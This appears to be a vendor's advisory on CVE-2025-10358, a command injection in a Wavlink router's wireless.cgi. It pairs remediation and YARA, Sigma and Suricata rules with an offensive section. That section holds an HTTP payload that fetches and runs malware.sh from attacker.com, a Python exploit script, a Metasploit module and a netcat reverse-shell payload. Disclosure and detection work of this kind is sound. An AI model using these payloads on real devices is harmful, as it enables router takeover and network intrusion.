CVE-2025-10358
Executive Summary
CVE-2025-10358 is a critical OS command injection vulnerability discovered in the Wavlink WL-WN578W2 router, specifically in firmware version 221110. The flaw resides in the /cgi-bin/wireless.cgi CGI script, within the function sub_404850. By manipulating the delete_list argument, an unauthenticated remote attacker can inject arbitrary operating system commands, leading to full device compromise. The exploit has been publicly disclosed, and no vendor patch is currently available. This vulnerability poses a severe threat to network integrity, confidentiality, and availability, especially given the device's role as a network gateway.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not related to a software package manager (NPM, PyPI, Go, Ruby) but is a firmware-level issue in an embedded device. The supply chain risk is significant due to the lack of vendor response and the absence of a patch, meaning affected devices remain vulnerable indefinitely unless end-of-life or manual mitigation is applied.
CVSS Breakdown & Threat Level
- CVSS Score: 7.3 (High)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
- Attack Vector (AV): Network - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low - No special conditions are required for exploitation.
- Privileges Required (PR): None - No authentication is needed.
- User Interaction (UI): None - The victim does not need to perform any action.
- Scope (S): Unchanged - The exploit affects only the vulnerable component.
- Confidentiality (C): High - Full read access to the device's filesystem and network traffic.
- Integrity (I): High - Full write access, allowing modification of system files and configuration.
- Availability (A): High - An attacker can crash the device or disrupt network services.
Threat Level: Critical. The combination of remote exploitability, no authentication, and public exploit code makes this a high-priority threat for any organization using this device.
Deep Dive & Mechanics
The vulnerability is a classic OS command injection flaw in the Wavlink router's web management interface. The CGI script /cgi-bin/wireless.cgi handles wireless configuration parameters. The function sub_404850 processes the delete_list parameter, which is intended to specify a list of wireless networks to delete. However, the input is not properly sanitized or escaped before being passed to a system shell command (likely via popen(), system(), or similar).
Attack Flow:
- An attacker sends a crafted HTTP POST request to the vulnerable endpoint.
- The
delete_listparameter contains a malicious payload, such as; <malicious_command> #. - The CGI script concatenates this input directly into a shell command string.
- The shell executes the injected command with the privileges of the web server (typically root on embedded devices).
- The attacker gains arbitrary command execution on the device.
Example Payload:
POST /cgi-bin/wireless.cgi HTTP/1.1
Host: <router_ip>
Content-Type: application/x-www-form-urlencoded
delete_list=1; wget http://attacker.com/malware.sh -O /tmp/malware.sh; sh /tmp/malware.sh #
Vulnerable vs. Patched Code
Since no patch is available, the vulnerable code is the only reference. The following is a hypothetical representation of the vulnerable code and a secure alternative.
Vulnerable Code (C-like pseudocode):
void sub_404850(char *delete_list) {
char cmd[512];
snprintf(cmd, sizeof(cmd), "iwconfig wlan0 del %s", delete_list);
system(cmd);
}
Patched Code (Secure):
void sub_404850(char *delete_list) {
// Validate input: only allow alphanumeric and specific delimiters
if (!is_valid_input(delete_list)) {
return;
}
// Use execve with a whitelist of allowed commands
char *args[] = {"/sbin/iwconfig", "wlan0", "del", delete_list, NULL};
execve(args[0], args, NULL);
}
The patched version avoids shell invocation entirely by using execve and validates the input against a strict whitelist.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- A Wavlink WL-WN578W2 router with firmware 221110.
- Network access to the router's web interface (typically on port 80 or 443).
- A listener for reverse shell or payload delivery.
Exploit Script (Python):
import requests
target = "http://<router_ip>/cgi-bin/wireless.cgi"
payload = "1; id > /tmp/exploit.txt; cat /tmp/exploit.txt #"
data = {"delete_list": payload}
response = requests.post(target, data=data)
print("Response:", response.text)
Metasploit Module (Conceptual):
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
def initialize(info = {})
super(update_info(info,
'Name' => 'Wavlink WL-WN578W2 Command Injection',
'Description' => 'Exploits OS command injection in delete_list parameter',
'Author' => ['Security Researcher'],
'References' => [['CVE', '2025-10358']],
'Targets' => [['Automatic', {}]],
'Payload' => {'BadChars' => "\x00\x0a\x0d"},
))
end
def exploit
send_request_cgi({
'method' => 'POST',
'uri' => '/cgi-bin/wireless.cgi',
'data' => "delete_list=1; #{payload.encoded} #"
})
end
end
Lab Setup:
- Set up a Wavlink router in an isolated lab network.
- Use a tool like
nmapto discover the router's IP. - Run the exploit script to verify command execution.
- For a reverse shell, use
nc -lvnp 4444on the attacker machine and modify the payload to; nc <attacker_ip> 4444 -e /bin/sh #.
Blue Team (Defensive)
Detection Steps:
- Monitor HTTP POST requests to
/cgi-bin/wireless.cgifor suspiciousdelete_listparameters containing shell metacharacters (;,|,&,`,$()). - Look for outbound connections from the router to unknown IPs on unusual ports (e.g., 4444, 1337).
- Check for unexpected processes running on the router (e.g.,
nc,bash,wget).
Honeypot Configuration:
- Deploy a low-interaction honeypot mimicking the Wavlink web interface to capture exploit attempts.
Indicators of Compromise (IOCs)
Network IOCs:
- HTTP POST requests to
/cgi-bin/wireless.cgiwithdelete_listcontaining shell metacharacters. - Outbound connections from the router to external IPs on ports 4444, 1337, or 8080.
- DNS queries to known malicious domains (e.g.,
attacker.com).
File System IOCs:
- Unexpected files in
/tmp/(e.g.,exploit.txt,malware.sh). - Modified system binaries (e.g.,
/bin/shreplaced with a backdoor). - New cron jobs or startup scripts.
Process IOCs:
- Running processes like
nc,bash,python,wget, orcurlinitiated by the web server.
Detection Engineering
YARA Rule
rule CVE_2025_10358_Wavlink_Command_Injection {
meta:
description = "Detects exploit attempts for CVE-2025-10358 in HTTP traffic"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-10358"
strings:
$payload1 = "delete_list=" ascii wide nocase
$payload2 = "; " ascii wide
$payload3 = "| " ascii wide
$payload4 = "`" ascii wide
$payload5 = "$(" ascii wide
condition:
$payload1 and any of ($payload2, $payload3, $payload4, $payload5)
}
Sigma Rule
title: Wavlink WL-WN578W2 Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects HTTP POST requests to /cgi-bin/wireless.cgi with suspicious delete_list parameter
author: Valters IT
date: 2025-04-10
logsource:
category: webserver
product: apache
detection:
selection:
cs-method: 'POST'
cs-uri-stem: '/cgi-bin/wireless.cgi'
cs-uri-query|contains: 'delete_list='
keywords:
- '; '
- '| '
- '`'
- '$('
condition: selection and keywords
falsepositives:
- Legitimate use of special characters in network names (unlikely)
level: high
Suricata Rule
alert http $HOME_NET any -> $EXTERNAL_NET any (
msg:"CVE-2025-10358 Wavlink WL-WN578W2 Command Injection Attempt";
flow:to_server,established;
content:"POST";
http_method;
content:"/cgi-bin/wireless.cgi";
http_uri;
content:"delete_list=";
http_client_body;
pcre:"/(?:;|\||\x60|\$\().*$/Ri";
classtype:attempted-admin;
sid:10000001;
rev:1;
)
Remediation & Mitigation
Immediate Actions:
- Isolate the Device: Disconnect the Wavlink router from the internet and place it on a separate VLAN with strict access controls.
- Disable Remote Management: If possible, disable the web management interface from the WAN side.
- Monitor Traffic: Implement the provided detection rules to identify any exploitation attempts.
Long-Term Solutions:
- Vendor Patch: Since no patch is available, consider replacing the device with a supported alternative.
- Firmware Hardening: If the vendor releases a patch, apply it immediately.
- Network Segmentation: Use a firewall to restrict access to the router's management interface to trusted IPs only.
- IDS/IPS Deployment: Deploy Suricata or Snort with the provided rules to block exploit attempts.
Workaround:
- If the device cannot be replaced, manually block HTTP POST requests to
/cgi-bin/wireless.cgiat the network perimeter using a web application firewall (WAF) or reverse proxy.
Valters IT
Securing Digital Frontiers